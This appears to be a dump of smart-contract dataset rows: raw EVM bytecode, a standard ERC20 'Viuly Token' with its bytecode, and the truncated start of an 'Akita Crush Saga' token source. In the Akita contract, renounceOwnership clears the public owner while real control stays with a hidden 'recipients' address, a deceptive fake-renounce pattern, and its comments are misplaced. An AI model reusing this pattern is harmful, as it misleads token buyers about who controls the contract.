6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200193505050506040516020818303038152906040527f08eb17f5000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015613ba9578082015181840152602081019050613b8e565b50505050905090810190601f168015613bd65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015613bf857600080fd5b505af1158015613c0c573d6000803e3d6000fd5b5050505050505050505050565b6000833f90508473ffffffffffffffffffffffffffffffffffffffff16637a0c53b285838887604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527f6d21e4e2000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015613d8d578082015181840152602081019050613d72565b50505050905090810190601f168015613dba5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015613ddc57600080fd5b505af1158015613df0573d6000803e3d6000fd5b505050505050505050565b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019450505050506040516020818303038152906040527f434eff7f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015613f7f578082015181840152602081019050613f64565b50505050905090810190601f168015613fac5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015613fce57600080fd5b505af1158015613fe2573d6000803e3d6000fd5b505050505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fcd4f191b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015614164578082015181840152602081019050614149565b50505050905090810190601f1680156141915780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156141b357600080fd5b505af11580156141c7573d6000803e3d6000fd5b50505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200193505050506040516020818303038152906040527feb57563a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561434f578082015181840152602081019050614334565b50505050905090810190601f16801561437c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561439e57600080fd5b505af11580156143b2573d6000803e3d6000fd5b5050505050505050505050565b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019450505050506040516020818303038152906040527f73986106000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015614543578082015181840152602081019050614528565b50505050905090810190601f1680156145705780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561459257600080fd5b505af11580156145a6573d6000803e3d6000fd5b505050505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200193505050506040516020818303038152906040527fecf987ef000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015614730578082015181840152602081019050614715565b50505050905090810190601f16801561475d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561477f57600080fd5b505af1158015614793573d6000803e3d6000fd5b5050505050505050505050565b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019450505050506040516020818303038152906040527f801b67fd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015614924578082015181840152602081019050614909565b50505050905090810190601f1680156149515780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561497357600080fd5b505af1158015614987573d6000803e3d6000fd5b505050505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527f9bc8c657000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015614b3d578082015181840152602081019050614b22565b50505050905090810190601f168015614b6a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015614b8c57600080fd5b505af1158015614ba0573d6000803e3d6000fd5b5050505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040516020818303038152906040527fbaf9d07b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015614d4d578082015181840152602081019050614d32565b50505050905090810190601f168015614d7a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015614d9c57600080fd5b505af1158015614db0573d6000803e3d6000fd5b50505050505050505050565b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019450505050506040516020818303038152906040527f5dadd57a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015614f6c578082015181840152602081019050614f51565b50505050905090810190601f168015614f995780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015614fbb57600080fd5b505af1158015614fcf573d6000803e3d6000fd5b505050505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527f03cb351c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561518557808201518184015260208101905061516a565b50505050905090810190601f1680156151b25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156151d457600080fd5b505af11580156151e8573d6000803e3d6000fd5b5050505050505050505050565b60008a3f90508b73ffffffffffffffffffffffffffffffffffffffff16637a0c53b28c838d8d8d8d8d8d8d8d604051602401808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001878152602001868152602001858152602001848152602001838152602001828152602001985050505050505050506040516020818303038152906040527f96869ded000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156153c55780820151818401526020810190506153aa565b50505050905090810190601f1680156153f25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561541457600080fd5b505af1158015615428573d6000803e3d6000fd5b50505050505050505050505050505050565b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040527f1693769b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156155ea5780820151818401526020810190506155cf565b50505050905090810190601f1680156156175780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561563957600080fd5b505af115801561564d573d6000803e3d6000fd5b505050505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040516020818303038152906040527f48503568000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156157fb5780820151818401526020810190506157e0565b50505050905090810190601f1680156158285780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561584a57600080fd5b505af115801561585e573d6000803e3d6000fd5b50505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b28683898888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527fd9c6f876000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015615a125780820151818401526020810190506159f7565b50505050905090810190601f168015615a3f5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015615a6157600080fd5b505af1158015615a75573d6000803e3d6000fd5b50505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040516020818303038152906040527f5dac5682000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015615c21578082015181840152602081019050615c06565b50505050905090810190601f168015615c4e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015615c7057600080fd5b505af1158015615c84573d6000803e3d6000fd5b50505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040516020818303038152906040527fbbcf1a5d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015615e30578082015181840152602081019050615e15565b50505050905090810190601f168015615e5d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015615e7f57600080fd5b505af1158015615e93573d6000803e3d6000fd5b5050505050505050505056fea2646970667358221220561cae960a7988b4e79b9b4a71f941895f51ac00168a3146d69c4acb3700cb5e64736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 6,129 |
0x464baddce9bd32581a7d59d9bb8350c7c7764668
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ViulyToken is StandardToken {
string public constant name = "Viuly Token";
string public constant symbol = "VIU";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f2565b3480156101f257600080fd5b506101fb610502565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610507565b34801561024157600080fd5b50610195600160a060020a03600435166105f6565b34801561026257600080fd5b506100d3610611565b34801561027757600080fd5b5061016c600160a060020a0360043516602435610648565b34801561029b57600080fd5b5061016c600160a060020a0360043516602435610727565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c0565b60408051808201909152600b81527f5669756c7920546f6b656e000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a0383166000908152602081905260408120548211156103a257600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103d257600080fd5b600160a060020a03831615156103e757600080fd5b600160a060020a038416600090815260208190526040902054610410908363ffffffff6107eb16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610445908363ffffffff6107fd16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610487908363ffffffff6107eb16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b033b2e3c9fd0803ce800000081565b601281565b336000908152600260209081526040808320600160a060020a038616845290915281205480831061055b57336000908152600260209081526040808320600160a060020a0388168452909152812055610590565b61056b818463ffffffff6107eb16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f5649550000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526020819052604081205482111561066457600080fd5b600160a060020a038316151561067957600080fd5b33600090815260208190526040902054610699908363ffffffff6107eb16565b3360009081526020819052604080822092909255600160a060020a038516815220546106cb908363ffffffff6107fd16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461075b908363ffffffff6107fd16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107f757fe5b50900390565b8181018281101561080a57fe5b929150505600a165627a7a723058200a06efdbbf309b2eea838a468c5f1c71527151214ce7129d2066d152be875ce20029
|
{"success": true, "error": null, "results": {}}
| 6,130 |
0x1eb22d35fbe2b385277103570c7b33bd88d58937
|
/**
*Submitted for verification at Etherscan.io on 2022-01-23
*/
/*
,/A\,
.//`_`\\,
,//`____-`\\,
,/AkitaCrush.com\,
,//`= == __- _`\\,
//|__= __- == _ __|\\
` | __ .-----. _ | `
| - _/ \- |
|__ | .-"-. | __=|
| _=|/) (\| |
|-__ (/ a a \) -__|
|___ /`\_Y_/`\____|
\)8===8(/
Akita Crush Saga 🍬
The legendary puzzle game loved by millions returns to the metaverse!
🍬 P2E Minigame in development
🍭 Locked Liquidity/Anti-bot Protection
🐕 Buyback Mechanism
💢 Competition mode in development! Compete against other players for a chance to win the gambled
prize pool of AKITA CRUSH!
📠 5% Taxes on Sells sent to Marketing/Buyback Wallet
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.11;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
